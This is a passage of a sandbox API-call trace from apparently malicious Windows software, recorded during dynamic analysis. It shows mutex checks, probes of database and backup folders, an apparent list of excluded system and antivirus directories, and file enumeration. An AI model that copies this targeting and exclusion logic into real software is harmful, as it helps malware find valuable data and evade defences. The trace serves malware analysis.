lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0056.697] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.697] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.697] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.698] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.698] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado", len=0x28 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\System\\ado") returned 1 [0056.698] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.698] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.698] GlobalUnlock (hMem=0x440004) returned 0 [0056.698] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.698] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.698] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.698] GlobalUnlock (hMem=0x440004) returned 0 [0056.698] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.698] GlobalUnlock (hMem=0x44000c) returned 0 [0056.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\?\x18?\x18") returned 26 [0056.698] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@繲R繆R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.715] GetLastError () returned 0x3 [0056.715] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.715] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.715] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\?\x18?\x18") returned 21 [0056.715] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@練R企@\x18㿬Q\x181")) returned 0xffffffff [0056.717] GetLastError () returned 0x2 [0056.717] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.717] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.717] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\?\x18?\x18") returned 9 [0056.717] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@蔴T企@\x18?T\x18;")) returned 0xffffffff [0056.718] GetLastError () returned 0x2 [0056.718] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.718] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.719] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\?\x18?\x18") returned 8 [0056.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@練R企@\x18?T\x18D")) returned 0xffffffff [0056.720] GetLastError () returned 0x2 [0056.720] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.720] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.720] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0056.721] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@蔴T企@\x18Q\x18j")) returned 0xffffffff [0056.722] GetLastError () returned 0x2 [0056.722] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.722] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0056.722] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0056.722] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@儔R企@\x18?T\x18q")) returned 0xffffffff [0056.724] GetLastError () returned 0x2 [0056.734] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\QP") returned 6 [0056.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0056.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@練R企@\x18?T\x18y")) returned 0xffffffff [0056.735] GetLastError () returned 0x2 [0056.736] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0056.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@儔R企@\x18?T\x18\x81")) returned 0xffffffff [0056.737] GetLastError () returned 0x2 [0056.737] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0056.738] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@練R企@\x18?T\x18\x88")) returned 0xffffffff [0056.739] GetLastError () returned 0x2 [0056.739] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0056.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@儔R企@\x18?T\x18\x8f")) returned 0xffffffff [0056.741] GetLastError () returned 0x2 [0056.741] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0056.741] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@練R企@\x18?T\x18\x97")) returned 0xffffffff [0056.743] GetLastError () returned 0x2 [0056.743] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.743] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.743] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.743] GlobalUnlock (hMem=0x44000c) returned 0 [0056.743] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.743] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.743] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.743] GlobalUnlock (hMem=0x44000c) returned 0 [0056.743] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.743] GlobalUnlock (hMem=0x440004) returned 0 [0056.743] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.743] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.744] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.744] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0056.744] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.744] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.744] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.744] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.744] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.744] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.744] GlobalUnlock (hMem=0x440004) returned 0 [0056.744] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.744] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.744] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.744] GlobalUnlock (hMem=0x440004) returned 0 [0056.744] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.744] GlobalUnlock (hMem=0x44000c) returned 0 [0056.745] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.745] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.745] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.745] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0056.745] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0056.746] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0056.746] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0056.746] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.746] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0056.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0056.746] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.746] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.746] GlobalUnlock (hMem=0x44000c) returned 0 [0056.747] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.747] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.747] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.747] GlobalUnlock (hMem=0x44000c) returned 0 [0056.747] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.747] GlobalUnlock (hMem=0x440004) returned 0 [0056.747] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61cf8, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0056.747] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.748] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.748] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0056.748] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0056.748] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.748] GlobalLock (hMem=0x440004) returned 0x550170 [0056.748] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.748] GlobalUnlock (hMem=0x440004) returned 0 [0056.748] GlobalLock (hMem=0x440004) returned 0x550170 [0056.748] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.748] 